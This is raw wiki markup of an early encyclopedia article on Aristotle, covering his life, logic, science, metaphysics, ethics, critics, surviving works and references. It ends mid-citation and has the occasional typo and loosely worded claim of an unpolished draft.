  school_tradition = [[Materialism]] and [[Empiricism]] |
  main_interests   = [[Politics]], |
  influences       = [[Plato]], |
  influenced       = [[Alexander the Great]], [[Thomas Aquinas]] |
  notable_ideas    = [[Golden mean (philosophy)|The Golden mean]], Rule of the Superior, Reason &gt; Passion, |
}}
'''Aristotle''' ({{lang-grc|{{{polytonic|Αριστοτέλης}}}}} Aristotelēs [[384 BC]] &amp;ndash; [[March 7]], [[322 BC]]) was an [[ancient Greek]] [[philosopher]], who studied with [[Plato]] and taught [[Alexander the Great]]. He wrote books on many subjects, including [[physics]], [[poetry]], [[zoology]], [[logic]], [[rhetoric]], [[government]], and [[biology]].

Aristotle, along with Plato and [[Socrates]], is generally considered one of the most influential of [[Ancient philosophy|ancient Greek philosophers]]. They transformed [[Presocratic]] [[Greek philosophy]] into the foundations of [[Western philosophy]] as we know it. The writings of Plato and Aristotle founded two of the most important schools of [[Ancient philosophy]].

Aristotle valued knowledge gained from the senses and in modern terms would be classed among the  modern [[empiricist]]s (see [[materialism]] and [[empiricism]]).  He also achieved a &quot;grounding&quot; of dialectic in the Topics by allowing interlocutors to begin from commonly held beliefs (''[[Endoxa]]''); his goal being non-contradiction rather than [[Truth]]. He set the stage for what would eventually develop into the empiricist version of [[scientific method]] centuries later. Although he wrote dialogues early in his career, no more than fragments of these have survived. The works of Aristotle that still exist today are in [[treatise]] form and were, for the most part, unpublished texts. These were probably lecture notes or texts used by his students, and were almost certainly revised repeatedly over the course of years. As a result, these works tend to be eclectic, dense and difficult to read. Among the most important ones are ''[[Physics (Aristotle)|Physics]]'', ''[[Metaphysics]] (or [[Ontology]])'', ''[[Nicomachean Ethics]]'', ''[[Politics (Aristotle)|Politics]]'', ''[[De Anima]] (On the Soul)'' and ''[[Poetics]]''.
These works, although connected in many fundamental ways, are very different in both style and substance. 

Aristotle is known for being one of the few figures in history who studied almost every subject possible at the time. In science, Aristotle studied [[anatomy]], [[astronomy]], [[economics]], [[embryology]], [[geography]], [[geology]], [[meteorology]], [[physics]], and [[zoology]]. In philosophy, Aristotle wrote on [[aesthetics]], [[ethics]], [[government]], [[metaphysics]], [[politics]], [[psychology]], [[rhetoric]] and [[theology]]. He also dealt with [[education]], foreign customs, [[literature]] and [[poetry]]. His combined works practically constitute an [[encyclopedia]] of Greek knowledge.

== Biography ==
===Early life and studies at the Academy===
[[Image:Bust of Aristotle.jpg|thumb|A [[bust (sculpture)|bust]] of Aristotle is a nearly ubiquitous ornament in places of high culture in the [[Western world|West]].]]

Aristotle was born at [[Stageira]], a [[apoikia|colony]] of [[Andros]] on the [[Macedon]]ian peninsula of [[Chalcidice]] in [[384 BC]]. His father, Nicomachus, was court physician to King [[Amyntas III of Macedon]]. It is believed that Aristotle's ancestors held this position under various kings of the Macedons. As such, Aristotle's early education would probably have consisted of instruction in [[medicine]] and [[biology]] from his father. About his mother, Phaestis, little is known. It is known that she died early in Aristotle's life. When Nicomachus also died, in Aristotle's tenth year, he was left an [[orphan]] and placed under the guardianship of his uncle, [[Proxenus of Atarneus]]. He taught Aristotle [[Greek language|Greek]], [[rhetoric]], and [[poetry]] (O'Connor ''et al.'', [[2004]]). Aristotle was probably influenced by his father's medical knowledge; when he went to [[Athens]] at the age of 18, he was likely already trained in the investigation of natural phenomena.

From the age of 18 to 37 Aristotle remained in Athens as a pupil of [[Plato]] and distinguished himself at the ''[[Academy]]''. The relations between Plato and Aristotle have formed the subject of various legends, many of which depict Aristotle unfavourably. No doubt there were divergences of opinion between Plato, who took his stand on sublime, idealistic principles, and Aristotle, who even at that time showed a preference for the investigation of the facts and laws of the physical world. It is also probable that Plato suggested that Aristotle needed restraining rather than encouragement, but not that there was an open breach of friendship. In fact, Aristotle's conduct after the death of Plato, his continued association with [[Xenocrates]] and other [[Platonists]], and his allusions in his writings to Plato's doctrines prove that while there were conflicts of opinion between Plato and Aristotle, there was no lack of cordial appreciation or mutual forbearance. Besides this, the legends that reflect Aristotle unfavourably are traceable to the [[Epicureans]], who were known as slanderers. If such legends were circulated widely by [[patristic]] writers such as [[Justin Martyr]] and [[Gregory Nazianzen]], the reason lies in the exaggerated esteem Aristotle was held in by the early [[Christianity|Christian]] [[heretic]]s, not in any well-grounded historical tradition.

===Aristotle as philosopher and tutor===
After the death of Plato ([[347 BC]]), Aristotle was considered as the next head of the Academy, a position that was eventually awarded to Plato's nephew. Aristotle then went with Xenocrates to the court of [[Hermias]], ruler of [[Atarneus]] in [[Asia Minor]], and married his niece and adopted daughter, Pythia. In [[344 BC]], Hermias was murdered in a rebellion, &lt;!--''(or a Persian attack?)''--&gt; and Aristotle went with his family to [[Mytilene]]. It is also reported that he stopped  on [[Lesbos Island|Lesbos]] and briefly conducted biological research. Then, one or two years later, he was summoned to Pella, the Macedonian capital, by King [[Philip II of Macedon]] to become the tutor of [[Alexander the Great]], who was then 13.

[[Plutarch]] wrote that Aristotle not only imparted to Alexander a knowledge of ethics and politics, but also of the most profound secrets of philosophy. We have much proof that Alexander profited by contact with the philosopher, and that Aristotle made prudent and beneficial use of his influence over the young prince (although [[Bertrand Russell]] disputes this). Due to this influence, Alexander provided Aristotle with ample means for the acquisition of books and the pursuit of his scientific investigation.

It is possible that Aristotle also participated in the education of Alexander's boyhood friends, which may have included for example [[Hephaestion]] and [[Harpalus]]. Aristotle maintained a long correspondence with Hephaestion, eventually collected into a book, unfortunately now lost.

According to sources such as Plutarch and [[Diogenes]], Philip had Aristotle's hometown of Stageira burned during the [[340s BC]], and Aristotle successfully requested that Alexander rebuild it. During his tutorship of Alexander, Aristotle was reportedly considered a second time for leadership of the Academy; his companion Xenocrates was selected instead.

===Founder and master of the Lyceum===
In about [[335 BC]], Alexander departed for his Asiatic campaign, and Aristotle, who had served as an informal adviser (more or less) since Alexander ascended the Macedonian throne, returned to Athens and opened his own school of philosophy. He may, as [[Aulus Gellius]] says, have conducted a school of [[rhetoric]] during his former residence in Athens; but now, following Plato's example, he gave regular instruction in philosophy in a [[gymnasium (ancient Greece)|gymnasium]] dedicated to [[Apollo Lyceios]], from which his school has come to be known as the [[Lyceum]]. (It was also called the [[Peripatetic]] School because Aristotle preferred to discuss problems of philosophy with his pupils while walking up and down -- ''peripateo'' -- the shaded walks -- ''peripatoi'' -- around the gymnasium).

During the thirteen years ([[335 BC]]&amp;ndash;[[322 BC]]) which he spent as teacher of the Lyceum, Aristotle composed most of his writings. Imitating Plato, he wrote ''[[Dialogue]]s'' in which his doctrines were expounded in somewhat popular language. He also composed the several treatises (which will be mentioned below) on physics, metaphysics, and so forth, in which the exposition is more [[didactic]] and the language more technical than in the ''Dialogues''. These writings show to what good use he put the resources Alexander had provided for him. They show particularly how he succeeded in bringing together the works of his predecessors in Greek philosophy, and how he pursued, either personally or through others, his investigations in the realm of natural phenomena. [[Pliny the Elder|Pliny]] claimed that Alexander placed under Aristotle's orders all the hunters, fishermen, and fowlers of the royal kingdom and all the overseers of the royal forests, lakes, ponds and cattle-ranges, and Aristotle's works on zoology make this statement more believable. Aristotle was fully informed about the doctrines of his predecessors, and [[Strabo]] asserted that he was the first to accumulate a great library.

During the last years of Aristotle's life the relations between him and Alexander became very strained, owing to the disgrace and punishment of [[Callisthenes]], whom Aristotle had recommended to Alexander. Nevertheless, Aristotle continued to be regarded at Athens as a friend of Alexander and a representative of Macedonia. Consequently, when Alexander's death became known in Athens, and the outbreak occurred which led to the [[Lamian war]], Aristotle shared in the general unpopularity of the Macedonians. The charge of [[impiety]], which had been brought against [[Anaxagoras]] and [[Socrates]], was now, with even less reason, brought against Aristotle. He left the city, saying (according to many ancient authorities) that he would not give the Athenians a chance to sin a third time against philosophy. He took up residence at his country house at [[Chalcis]], in [[Euboea]], and there he died the following year, [[322 BC]]. His death was due to a disease, reportedly 'of the stomach', from which he had long suffered. The story that his death was due to [[hemlock]] poisoning, as well as the legend that he threw himself into the sea &quot;because he could not explain the [[tide]]s,&quot; is without historical foundation.

Very little is known about Aristotle's personal appearance except from hostile sources. The statues and busts of Aristotle, possibly from the first years of the Peripatetic School, represent him as sharp and keen of countenance, and somewhat below the average height. His character&amp;mdash;as revealed by his writings, his will (which is undoubtedly genuine), fragments of his letters and the allusions of his unprejudiced contemporaries&amp;mdash;was that of a high-minded, kind-hearted man, devoted to his family and his friends, kind to his slaves, fair to his enemies and rivals, grateful towards his benefactors. When [[Platonism]] ceased to dominate the world of [[Christianity|Christian]] speculation, and the works of Aristotle began to be studied without fear and prejudice, the personality of Aristotle appeared to the Christian writers of the [[13th century]], as it had to the unprejudiced pagan writers of his own day, as calm, majestic, untroubled by passion, and undimmed by any great moral defects, &quot;the master of those who know&quot;.

Aristotle's legacy also had a profound influence on Islamic thought and philosophy during the [[Middle Ages|middle ages]]. The likes of [[Avicenna]], [[Farabi]], and Yaqub ibn Ishaq al-Kindi&lt;small&gt;[http://www.ummah.net/history/scholars/KINDI.html 1]&lt;/small&gt; were a few of the  major proponents of the Aristotelian school of thought during the ''[[Golden Age of Islam]]''.

== Methodology ==
{{details|Aristotle's theory of universals}}
Aristotle defines philosophy in terms of [[essence]], saying that philosophy is &quot;the science of the universal essence of that which is [[actual]]&quot;. Plato had defined it as the &quot;science of the [[idea]]&quot;, meaning by idea what we should call the unconditional basis of [[phenomena]]. Both pupil and master regard philosophy as concerned with the [[universal]]; Aristotle, however, finds the universal in [[particular]] things, and called it the essence of things, while Plato finds that the universal exists apart from particular things, and is related to them as their [[prototype]] or [[exemplar]]. For Aristotle, therefore, philosophic method implies the ascent from the study of particular phenomena to the knowledge of essences, while for Plato philosophic method means the descent from a knowledge of universal ideas to a contemplation of particular imitations of those ideas. In a certain sense, Aristotle's method is both [[Inductive reasoning|inductive]] and [[Deductive reasoning|deductive]], while Plato's is essentially deductive.

In Aristotle's terminology, the term ''natural philosophy'' corresponds to the phenomena of the natural world, which include: [[motion]], [[light]], and the [[laws of physics]]. Many centuries later these subjects would become the basis of modern science, as studied through the [[scientific method]]. In modern times the term ''philosophy'' has come to be more narrowly understood as metaphysics, distinct from empirical study of the natural world via the physical sciences.  In contrast, in Aristotle's time and use [[philosophy]] was taken to encompass all facets of intellectual inquiry.

In the larger sense of the word, he makes philosophy coextensive with [[reasoning]], which he also called &quot;science&quot;. Note, however, that his use of the term ''science'' carries a different meaning than that which is covered by the scientific method.  &quot;All science (''dianoia'') is either practical, poetical or theoretical.&quot; By practical science he understands ethics and politics; by poetical, he means the study of poetry and the other fine arts; while by theoretical philosophy he means physics, mathematics, and metaphysics.

The last, philosophy in the stricter sense, he defines as &quot;the knowledge of [[immaterial]] being,&quot; and calls it &quot;first philosophy&quot;, &quot;the theologic science&quot; or of &quot;being in the highest degree of abstraction.&quot; If logic, or, as Aristotle calls it, [[Analytic]], be regarded as a study preliminary to philosophy, we have as divisions of Aristotelian philosophy (1) [[Logic]]; (2) Theoretical Philosophy, including [[Metaphysics]], [[Physics]], [[Mathematics]], (3) Practical Philosophy; and (4) Poetical Philosophy.

==Aristotle's epistemology==
===Logic===
{{main|Aristotelian logic}}
{{see details|Non-Aristotelian logic}}
==== History ====
Aristotle &quot;says that 'on the subject of reasoning' he 'had nothing else on an earlier date to speak about'&quot; (Boche&amp;#324;ski, [[1951]]). However, Plato reports that [[syntax]] was thought of before him, by [[Prodikos of Keos]], who was concerned by the right use of words. Logic seems to have emerged from [[dialectics]]; the earlier philosophers used concepts like ''[[reductio ad absurdum]]'' as a rule when discussing, but never understood its logical implications. Even Plato had difficulties with logic. Although he had the idea of constructing a system for [[deduction]], he was never able to construct one. Instead, he relied on his [[dialectic]], which was a confusion between different sciences and methods (Boche&amp;#324;ski, [[1951]]). Plato thought that deduction would simply follow from [[premise]]s, so he focused on having good premises so that the [[conclusion]] would follow. Later on, Plato realised that a method for obtaining the conclusion would be beneficial. Plato never obtained such a method, but his best attempt was published in his book ''Sophist'', where he introduced his division method (Rose, [[1968]]).

====Analytics and the ''Organon''====
{{main|Organon}}
What we call today Aristotelian logic, Aristotle himself would have labelled analytics. The term logic he reserved to mean dialectics. Most of Aristotle's work is probably not in its original form, since it was most likely edited by students and later lecturers. The logical works of Aristotle were compiled into six books at about the time of [[Christ]]:
#''Categories''
#''On Interpretation''
#''Prior Analytics''
#''Posterior Analytics''
#''Topics''
#''On Sophistical Refutations''

The order of the books (or the teachings from which they are composed) is not certain, but this list was derived from analysis of Aristotle's writings. There is one volume of Aristotle's concerning logic not found in the ''Organon'', namely the fourth book of ''Metaphysics.'' (Boche&amp;#324;ski, 1951).

====Modal logic====
Aristotle is also the creator of [[syllogism]]s with modalities ([[modal logic]]). The word modal refers to the word 'modes', explaining the fact that modal logic deals with the modes of [[truth]]. Aristotle introduced the qualification of 'necessary' and 'possible' premises. He constructed a logic which helped in the evaluation of truth but which was very difficult to interpret. (Rose, 1968).

===Science===
[[Image:Francesco Hayez 001.jpg|thumb|left|Aristotle, by Francesco Hayez]]
Aristotelian discussions about science had only been qualitative, not quantitative. By the modern definition of the term, Aristotelian philosophy was not science, as this [[worldview]] did not attempt to probe how the world actually worked through [[experiment]]. For example, in his book ''[[History of Animals|The history of animals]]'' he claimed that human males have more teeth than females. Had he only made some observations, he would have discovered that this claim is false.

Rather, based on what one's senses told one, Aristotelian philosophy then depended upon the assumption that man's mind could elucidate all the laws of the universe, based on simple observation (without experimentation) through [[reason]] alone.  

One of the reasons for this was that Aristotle held that physics was about changing objects with a reality of their own, whereas mathematics was about unchanging objects without a reality of their own. In this philosophy, he could not imagine that there was a relationship between them.

In contrast, today's &quot;science&quot; assumes that thinking alone often leads people astray, and therefore one must compare one's ideas to the actual world through experimentation; only then can one see if one's ideas are based in reality. This position is known as [[empiricism]] or the [[scientific method]].

Although Aristotle initiated an important step in the history of scientific method by founding logic as a formal science, he also left behind a trail of bankrupt cosmology that we may discern in selections of the metaphysics. His cosmology would gain much acceptance up until the 1500’s, where Copernicus and Galileo began to figure out that Europe is not the center of the universe. From the 3rd century to the 1500’s, the dominant view held that the earth was the center of the universe: at this late date it is uncontroversial that the earth is not even the center of our own solar system. 

In spite of Aristotle’s bogus account of the planets and sun, he is a vital character in the history of metaphysics, both in terms of the etymology of the word, as well as a figure within metaphysics as a discipline. Dubbed “the stuff next to the physics.” by Andronicus of Rhodes, “metaphysics” became connected to the idea of “beyond the physical” by Simplicius, a commentator on Aristotle. Andronicus had published Aristotle’s works sometime around 43-20 BC; so initially the etymology of metaphysics was simply that which is “next to the physics.”

==Aristotle's metaphysics==

===[[Causality]]===

[[Aristole]] is the first who saw that &quot;All causes of things are beginnings; that we have scientific knowledge when we know the cause; that to know a thing's existence is to know the reason for its existence.&quot;{{fact}}  Setting the guidelines for all the subsequent causal theories, by specifying the number, nature, principles, elements, varieties, order, and modes of causation, Aristotle's account of the causes of things is the most comprehensive theory up to now. According to Aristotle's theory, all the causes fall into several senses, the total number of which amounts to the ways the question 'why' may be answered; namely, by reference to the matter or the ''substratum''; the ''essence'', the pattern, the form, or the structure; to the primary moving ''change'' or the agent and its action; and to the goal, the plan, the ''end'', or the good. Consequently, the major kinds of causes come under the following divisions:

The [[Material Cause]] is that from which a thing comes into existence as from its parts, constituents, substratum or materials. This reduces the explanation of causes to the parts (factors, elements, constituents, ingredients) forming the whole (system, structure, compound, complex, composite, or combination) (the part-whole causation).

The [[Formal Cause]] tells us what a thing is, that any thing is determined by the definition, form, pattern, essence, whole, synthesis, or archetype. It embraces the account of causes in terms of fundamental principles or general laws, as the whole (macrostructure) is the cause of its parts (the whole-part causation).

The [[Efficient Cause]] is that from which the change or the ending of the change first starts. It identifies 'what makes of what is made and what causes change of what is changed' and so suggests all sorts of agents, nonliving or living, acting as the sources of change or movement or rest. Representing the current understanding of causality as the relation of cause and effect, this covers the modern definitions of &quot;cause&quot; as either the agent or agency or particular events or states of affairs.

The [[Final Cause]] is that for the sake of which a thing exists or is done, including both purposeful and instrumental actions and activities. The final cause or telos is the purpose or end that something is supposed to serve, or it is that from which and that to which the change is. This also covers modern ideas of mental causation involving such psychological causes as volition, need, motivation, or motives, rational, irrational, ethical, all that gives purpose to behavior.

Additionally, things can be causes of one another, causing each other reciprocally, as hard work causes fitness and vice versa, although not in the same way or function, the one is as the beginning of change, the other as the goal. [Thus Aristotle first suggested a reciprocal or circular causality as a relation of mutual dependence or action or influence of cause and effect.] Also, Aristotle indicated that the same thing can be the cause of contrary effects, its presence and absent may result in different outcomes.

Besides, Aristotle marked two modes of causation: proper (prior) causation and accidental (chance) causation. All causes, proper and incidental, can be spoken as potential or as actual, particular or generic. The same language refers to the effects of causes, so that generic effects assigned to generic causes, particular effects to particular causes, operating causes to actual effects. Essentiallly, causality does not suggest a temporal relation between the cause and the effect

All further investigations of causality will be consisting in imposing the favorite hierarchies on the order causes, like as final &gt; efficient&gt; material &gt; formal (Aquinas), or in restricting all causality to the material and efficient causes or to the efficient causality (deterministic or chance) or just to regular sequences and correlations of natural phenomena (the natural sciences describing how things happen instead of explaining the whys and wherefores).

===Chance and Spontaneity===
Spontaneity and chance are causes of effects. Chance as an incidental cause lies in the realm of accidental things. It is &quot;from what is spontaneous&quot; (but note that what is spontaneous does not come from chance). For a better understanding of Aristotle's conception of &quot;chance&quot; it might be better to think of &quot;coincidence&quot;: Something takes place by chance if a person sets out with the intent of having one thing take place, but with the result of another thing (not intended) taking place. For example: A person seeks donations. That person may find another person willing to donate a substantial sum. However, if the person seeking the donations met the person donating, not for the purpose of collecting donations, but for some other purpose, Aristotle would call the collecting of the donation by that particular donator a result of chance. It must be unusual that something happens by chance. In other words, if something happens all or most of the time, we cannot say that it is by chance.

However, chance can only apply to human beings, it is in the sphere of moral actions. According to Aristotle, chance must involve choice (and thus deliberation), and only humans are capable of deliberation and choice. &quot;What is not capable of action cannot do anything by chance&quot; (Physics, 2.6).

===The Five Elements===
*'''Fire''' which is hot and dry.
*'''Earth''' which is cold and dry.
*'''Air''' which is hot and wet.
*'''Water''' which is cold and wet.
*'''Aether''' which is the divine substance that makes up the heavens

These four elements interchange (i.e. Fire &amp;#x2194; Air &amp;#x2194; Water &amp;#x2194; Earth etc.), while aether is on its own. The Sun keeps this cycle going. God keeps the Sun going (and thus the Sun is eternal).

== Aristotle's ethics ==
{{main|Aristotelian ethics}}
Although Aristotle wrote several works on [[ethics]], the major one was the ''[[Nicomachean Ethics]]'', which is considered one of Aristotle's greatest works; it discusses [[virtue]]s. The ten books which comprise it are based on notes from his lectures at the [[Lyceum]] and were either edited by or dedicated to Aristotle's son, [[Nicomachus]].

Aristotle believed that ethical knowledge is not ''certain'' knowledge, like [[metaphysics]] and [[epistemology]], but ''general knowledge''. Also, as it is a practical discipline rather than a [[theory|theoretical]] one, he thought that in order to become &quot;good,&quot; one could not simply study what virtue ''is''; one must actually do virtuous deeds.  
In order to do this, Aristotle had first to establish what was virtuous.  He began by determining that everything was done with some goal in mind and that goal is 'good.'  The ultimate goal he called the ''Highest Good''.

Aristotle contested that happiness could not be found only in pleasure or only in fame and honor. He finally finds happiness &quot;by ascertaining the specific function of man.&quot; But what is this function that will bring happiness?  To determine this, Aristotle analyzed the soul and found it to have three parts: the Nutritive Soul (plants, animals and humans), the Perceptive Soul (animals and humans) and the Rational Soul (humans only).  Thus, a human's function is to do what makes it human, to be good at what sets it apart from everything else: the ability to reason or ''Nous''. A person that does this is the happiest because they are fulfilling their purpose or nature as found in the rational soul.  Depending on how well they did this, Aristotle said people belonged to one of four categories: the Virtuous, the Continent, the Incontinent and the Vicious.

Aristotle believes that every ethical virtue is an intermediate condition between [[excess]] and [[deficiency]]. This does not mean Aristotle believed in moral relativism, however.  He set certain emotions (e.g., hate, envy, jealousy, spite, etc.) and certain actions (e.g., adultery, theft, murder, etc.) as always wrong, regardless of the situation or the circumstances.

===Nicomachean ethics===
{{main|Nicomachean Ethics}}
In ''Nicomachean Ethics'', Aristotle focuses on the importance of continually [[behavior|behaving]] virtuously and developing [[virtue]] rather than committing specific good actions. This can be contrasted with [[Immanuel Kant|Kantian]] ethics, in which the primary focus is on individual action. ''Nicomachean Ethics'' emphasizes the importance of context to ethical behaviour &amp;mdash; what might be right in one situation might be wrong in another. Aristotle believed that [[happiness]] is the end of life and that as long as a person is striving for [[Goodness and value theory|goodness]], good deeds will result from that struggle, making the person virtuous and therefore happy.

== Aristotle's critics ==
[[Image:Sanzio 01 Plato Aristotle.jpg|thumb|left|[[Plato]] (left) and Aristotle (right), a detail of ''[[Raphael Rooms|The School of Athens]]'', a fresco by [[Raphael]].  Aristotle gestures to the earth, representing his belief in knowledge through empirical observation and experience, whilst Plato points up to the heavens showing his belief in the ultimate truth.]]

Aristotle has been criticised on several grounds.

* His analysis of procreation is frequently criticised on the grounds that it presupposes an active, ensouling masculine element bringing life to an inert, passive, lumpen female element; it is on these grounds that some feminist critics refer to Aristotle as a misogynist. 
*At times, the objections that Aristotle raises against the arguments of his own teacher, [[Plato]], appear to rely on faulty interpretations of those arguments.
*Although Aristotle advised, against Plato, that knowledge of the world could only be obtained through experience, he frequently failed to take his own advice. Aristotle conducted projects of careful [[empirical]] investigation, but often drifted into [[Abstraction|abstract]] logical reasoning, with the result that his work was littered with conclusions that were not supported by empirical evidence: for example, his assertion that objects of different [[mass]] fall at different speeds under [[gravity]], which was later refuted by [[John Philoponus]] (credit is often given to [[Galileo Galilei|Galileo]], even though Philopinus lived centuries earlier).
*In the [[Middle Ages]], roughly from the [[12th century]] to the [[15th century]], the philosophy of Aristotle became firmly established [[dogma]]. Although Aristotle himself was far from dogmatic in his approach to philosophical inquiry, two aspects of his philosophy might have assisted its transformation into dogma. His works were wide-ranging and [[systematic]] so that they could give the impression that no significant matter had been left unsettled. He was also much less inclined to employ the [[skeptic]]al methods of his predecessors, Socrates and Plato.
*Some academics have suggested that Aristotle was unaware of much of the current science of his own time.

Aristotle was called not a great philosopher, but &quot;The Philosopher&quot; by [[Scholastic]] thinkers. These thinkers blended Aristotelian philosophy with Christianity, bringing the thought of Ancient Greece into the Middle Ages. It required a repudiation of some Aristotelian principles for the sciences and the arts to free themselves for the discovery of modern scientific laws and empirical methods.

== The loss of his works ==
Though we know that Aristotle wrote many elegant treatises ([[Cicero]] described his literary style as &quot;a river of gold&quot;), the originals have been lost in time. All that we have now are the literary notes for his pupils, which are often difficult to read (the ''[[Nicomachean Ethics]]'' is a good example). It is now believed that we have about one fifth of his original works.

Aristotle underestimated the importance of his written work for humanity. He thus never published his books, except from his dialogues. The story of the original manuscripts of his treatises is described by [[Strabo]] in his Geography and [[Plutarch]] in his &quot;[[Parallel Lives]], Sulla&quot;: The manuscripts were left from Aristotle to [[Theophrastus]], from Theophrastus to [[Neleus of Scepsis]], from Neleus to his heirs. Their descendants sold them to [[Apellicon of Teos]]. When [[Lucius Cornelius Sulla|Sulla]] occupied Athens in [[86 BC]], he carried off the library of Appellicon to [[Rome]], where they were first published in [[60 BC]] from the grammarian [[Tyrranion of Amisus]] and then by philosopher [[Andronicus of Rhodes]].

== Bibliography ==
''Note: [[Bekker numbers]] are often used to uniquely identify passages of Aristotle. They are identified below where available.''

=== Major works ===
The extant works of Aristotle are broken down according to the five categories in the ''[[Corpus Aristotelicum]]''. Not all of these works are considered genuine, but differ with respect to their connection to Aristotle, his associates and his views. Some, such as the ''Athenaion Politeia'' or the fragments of other ''politeia'' are regarded by most scholars as products of Aristotle's &quot;school&quot; and compiled under his direction or supervision. Other works, such ''On Colours'' may have been products of Aristotle's successors at the Lyceum, e.g., [[Theophrastus]] and [[Straton]]. Still others acquired Aristotle's name through similarities in doctrine or content, such as the ''De Plantis,'' possibly by [[Nicolaus of Damascus]]. A final category, omitted here, includes medieval [[palmistries]], [[astrological]] and [[magical]] texts whose connection to Aristotle is purely fanciful and self-promotional. Those that are seriously disputed are marked with an asterisk.

==== Logical writings ====
* [[Organon]] (collected works on logic):
** (1a) [[Categories (Aristotle)|Categories]] (or ''Categoriae'')
** (16a) [[On Interpretation]] (or ''De Interpretatione'')
** (24a) [[Prior Analytics]] (or ''Analytica Priora'')
** (71a) [[Posterior Analytics]] (or ''Analytica Posteriora'')
** (100b) [[Topics (Aristotle)|Topics]] (or ''Topica'')
** (164a) [[On Sophistical Refutations]] (or ''De Sophisticis Elenchis'')

==== Physical and scientific writings ====
* (184a) [[Physics (Aristotle)|Physics]] (or ''Physica'')
* (268a) [[On the Heavens]] (or ''De Caelo'')
* (314a) [[On Generation and Corruption]] (or ''De Generatione et Corruptione'')
* (338a) [[Meteorology (Aristotle)|Meteorology]] (or ''Meteorologica'')
* (391a) [[On the Cosmos]] (or ''De Mundo'', or ''On the Universe'') *
* (402a) [[On the Soul]] (or ''De Anima'')
* (436a) [[Little Physical Treatises]] (or ''Parva Naturalia''):
** [[On Sense and the Sensible]] (or ''De Sensu et Sensibilibus'')
** [[On Memory and Reminiscence]] (or ''De Memoria et Reminiscentia'')
** [[On Sleep and Sleeplessness]] (or ''De Somno et Vigilia'')
** [[On Dreams]] (or ''De Insomniis'') *
** [[On Prophesying by Dreams]] (or ''De Divinatione per Somnum'')
** [[On Longevity and Shortness of Life]] (or ''De Longitudine et Brevitate Vitae'')
** [[On Youth and Old Age]] (On Life and Death) (or ''De Juventute et Senectute'', ''De Vita et Morte'')
** [[On Breathing]] (or ''De Respiratione'')
* (481a) [[On Breath]] (or ''De Spiritu'') *
* (486a) [[History of Animals]] (or ''Historia Animalium'', or ''On the History of Animals'', or ''Description of Animals'')
* (639a) [[On the Parts of Animals]] (or ''De Partibus Animalium'')
* (698a) [[On the Gait of Animals]] (or ''De Motu Animalium'', or ''On the Movement of Animals'')
* (704a) [[On the Progression of Animals]] (or ''De Incessu Animalium'')
* (715a) [[On the Generation of Animals]] (or ''De Generatione Animalium'')
* (791a) [[On Colours]] (or ''De Coloribus'') *
* (800a) ''[[De audibilibus]]''
* (805a) [[Physiognomics]] (or ''Physiognomonica'') *
* [[On Plants]] (or ''De Plantis'') *
* (830a) [[On Marvellous Things Heard]] (or ''Mirabilibus Auscultationibus'', or ''On Things Heard'') *
* (847a) [[Mechanical Problems]] (or ''Mechanica'') *
* (859a) [[Problems (Aristotle)|Problems]] (or ''Problemata'') *
* (968a) [[On Indivisible Lines]] (or ''De Lineis Insecabilibus'') *
* (973a) [[Situations and Names of Winds]] (or ''Ventorum Situs'') *
* (974a) [[On Melissus, Xenophanes and Gorgias]] (or ''MXG'') * The section On Xenophanes starts at 977a13, the section On Gorgias starts at 979a11.

==== Metaphysical writings ====
* (980a) [[Metaphysics (Aristotle)|Metaphysics]] (or ''Metaphysica'')

==== Ethical writings ====
* (1094a) [[Nicomachean Ethics]] (or ''Ethica Nicomachea'', or ''The Ethics'')
* (1181a) [[Great Ethics]] (or ''Magna Moralia'') *
* (1214a) [[Eudemian Ethics]] (or ''Ethica Eudemia'')
* (1249a) [[Virtues and Vices]] (or ''De Virtutibus et Vitiis Libellus'', ''Libellus de virtutibus'') *
* (1252a) [[Politics (Aristotle)|Politics]] (or ''Politica'')
* (1343a) [[Economics (Aristotle)|Economics]] (or ''Oeconomica'')

==== Aesthetic writings ====
* (1354a) [[Rhetoric (Aristotle)|Rhetoric]] (or ''Ars Rhetorica'', or ''The Art of Rhetoric'' or ''Treatise on Rhetoric'')
* [[Rhetoric to Alexander]] (or ''Rhetorica ad Alexandrum'') *
* (1447a) [[Poetics]] (or ''Ars Poetica'')

==== A work outside the ''Corpus Aristotelicum''  ====
* The [[Constitution of the Athenians]] (or ''Athenaion Politeia'', or ''The Athenian Constitution'') *

=== Specific editions===
* [[Princeton University]] Press: ''The Complete Works of Aristotle: The Revised Oxford Translation'' (2 Volume Set; Bollingen Series, Vol. LXXI, No. 2), edited by [[Jonathan Barnes]] ISBN 0-691-09950-2 (The most complete recent translation of Aristotle's extant works)
* [[University of Oxford|Oxford University]] Press: ''Clarendon Aristotle Series''.   [http://www.oup.com/us/catalog/general/series/ClarendonAristotleSeries/?view=usa Scholarly edition]
* [[Harvard University]] Press: ''[[Loeb Classical Library#Aristotle|Loeb Classical Library]]'' (hardbound; publishes in Greek, with English translations on facing pages)
* [[Oxford Classical Texts]] (hardbound; Greek only)

==Named for Aristotle==
*[[Aristoteles (crater)|Aristoteles crater]] on the [[Moon]].
*The [[Aristotle University of Thessaloniki]]
*Aristotle's Cockney legacy - The name of Aristotle, like that of [[J. Arthur Rank]], became a common expression in [[Cockney rhyming slang]].

==See also==
*[[Aristotelian view of God]]
*[[Aristotelian theory of gravity]]
*[[Philia]]
*[[Phronesis]]
*[[Potentiality and actuality (Aristotle)|Aristotle's theory of potentialiy and actuality]]

==References==
Needless to say, the secondary literature on Aristotle is vast. The following references are only a small selection.

* {{cite book 
  | last = Adler | first = Mortimer J.
  | authorlink = Mortimer Adler
  | title=[[Aristotle for Everybody]] 
  | publisher=Macmillan
  | location = New York 
  | year=1978
}} A popular exposition for the general reader.
* {{cite book 
  | last = Bocheński | first = I. M.
  | authorlink = I. M. Bocheński
  | title=Ancient Formal Logic 
  | publisher=North-Holland Publishing Company
  | location = Amsterdam 
  | year=1951
}}
* {{cite book
  | last = Guthrie | first = W. K. C.
  | title=A History of Greek Philosophy, Vol. 6
  | publisher=[[Cambridge University Press]] 
  | year=1981
}} A detailed and scholarly work, but very readable.
* {{cite book
  | last = Melchert | first = Norman
  | authorlink = Norman Melchert
  | title=The Great Conversation: A Historical Introduction to Philosophy
  | publisher=[[McGraw Hill]] 
  | year=2002  
  | id=ISBN 0195175107
 }}
* {{cite book  
  | last = Rose | first = Lynn E.
  | authorlink = Lynn E. Rose
  | title=Aristotle's Syllogistic  
  | publisher=Charles C Thomas Publisher
  | location = Springfield  
  | year=1968
 }}
* {{cite book  
 | last = Ross | first = Sir David
 | authorlink = Sir David Ross
 | title=Aristotle 
 | publisher=Routledge
